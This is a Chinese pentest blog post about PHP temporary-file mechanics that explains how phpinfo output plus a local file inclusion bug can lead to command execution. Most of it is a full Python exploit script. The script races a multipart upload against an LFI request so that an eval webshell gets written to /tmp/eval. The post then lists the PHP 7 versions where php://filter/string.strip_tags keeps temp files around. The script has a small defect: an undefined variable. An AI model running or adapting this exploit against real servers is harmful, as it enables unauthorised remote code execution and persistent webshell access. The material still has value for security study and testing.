php临时文件 
    
      
         
        2021.02.22 
       
      
        
           
          le31ei 
         
      
      
  
     
    Pentest 
   
      
      
        
        
            热度 
            ℃
         
      
      
     
   
  
    
      本来打算研究下phpinfo+本地包含导致命令执行的利用方法,深入研究原理后发现是php临时文件机制的问题,故记录下学习过程。
0x01 phpinfo+LFI 该方法的利用原理其实很简单,利用的是php在上传的时候会生成临时文件。会在临时的存储目录生成名为:php**.tmp的临时文件,而该文件内容就是上传的内容,并且该文件路径会显示在phpinfo的tmp_dir路径当中。
在存在本地包含漏洞的时候,可以直接通过读取phpinfo中的该配置项,直接去包含临时文件,执行临时文件中的代码。
如果临时文件是一个写文件的脚本,那么直接就可以通过竞争条件的方式在临时文件被删除之前,生成新的shell文件。
具体利用代码如下:
在使用时,需要修改包含文件的路径,写文件的位置,等参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import  osimport  socketimport  sysPAYLOAD="""<?php file_put_contents('/tmp/eval', '<?=eval($_REQUEST[1])?>')?>\r"""  UPLOAD="""-----------------------------7dbff1ded0714\r  Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {} -----------------------------7dbff1ded0714--\r""" .format (PAYLOAD)padding="A"  * 5000  INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r  Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {len}\r Host: %s\r \r {upload}""" .format (padding=padding, len =len (UPLOAD), upload=UPLOAD)LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r  User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ class  PHPINFO_LFI ():	def  __init__ (self, host, port ): 		self .host = host 		self .port = int (port) 		self .req_payload= (INFOREQ % self .host).encode('utf-8' ) 		self .lfireq = LFIREQ 		self .offset = self .get_offfset() 	def  get_offfset (self ): 		'''  		获取tmp名字的offset 		''' 		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 		s.connect((self .host, self .port)) 		s.send(self .req_payload) 		page = b""  		while  True : 			i = s.recv(4096 ) 			page+=i         			if  i == "" : 				break  			if  i.decode('utf8' ).endswith("0\r\n\r\n" ): 				break  		s.close() 		pos = page.decode('utf8' ).find("[tmp_name] => " ) 		print ('get the offset :{} ' .format (pos)) 		if  pos == -1 : 			raise  ValueError("No php tmp_name in phpinfo output" ) 		 		return  pos+256   	def  phpinfo_lfi (self ):  		'''  		同时发送phpinfo请求与lfi请求 		''' 		phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 		lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     		phpinfo.connect((self .host, self .port)) 		lfi.connect((self .host, self .port)) 		phpinfo.send(self .req_payload) 		infopage = b""   		while  len (infopage) < self .offset: 			infopage += phpinfo.recv(self .offset) 		pos = infopage.decode('utf8' ).index("[tmp_name] => " ) 		tmpname = infopage[pos+17 :pos+31 ] 		lfireq = self .lfireq % (tmpname.decode('utf8' ),self .host) 		lfi.send(lfireq.encode('utf8' )) 		fipage = lfi.recv(4096 ) 		phpinfo.close() 		lfi.close() 		if  fipage.decode('utf8' ).find(tag) != -1 : 			return  tmpname if  __name__ == '__main__' :	if  len (sys.argv) < 4 : 		print ('usage:\n\texp.py 127.0.0.1 80 500' ) 		exit() 	host = sys.argv[1 ] 	port = sys.argv[2 ] 	attempts = sys.argv[3 ] 	print ('{x}Start expolit {host}:{port} {attempts} times{x}' .format (x='*' *15 , host=host, port=port, attempts=attempts)) 	p = PHPINFO_LFI(host,port) 	for  i in  range (int (attempts)): 		print ('Trying {}/{} times…' .format (i, attempts), end="\r" ) 		if  p.phpinfo_lfi() is  not  None : 			print ('Getshell success! at /tmp/eval "<?=eval($_REQUEST[1])?>"' ) 			exit() 	print (':( Failed' ) 
 
**但在实际使用过程中,tmp文件删除太快,导致基本没有成功包含过。**由此引发的后续研究。
0x02 php临时文件 配置文件 :php.ini的upload_tmp_dir属性指定
命名规则 :默认为 php+4或者6位随机数字和大小写字母,php[0-9A-Za-z]{3,4,5,6},phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。
让临时文件保存下来:
php7在满足以下版本的情况下,可以通过php://filter/string.strip_tags生成tmp文件
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
参考文档 
PHP临时文件机制与利用的思考 
 
PHP文件包含漏洞(利用phpinfo) 
 
https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py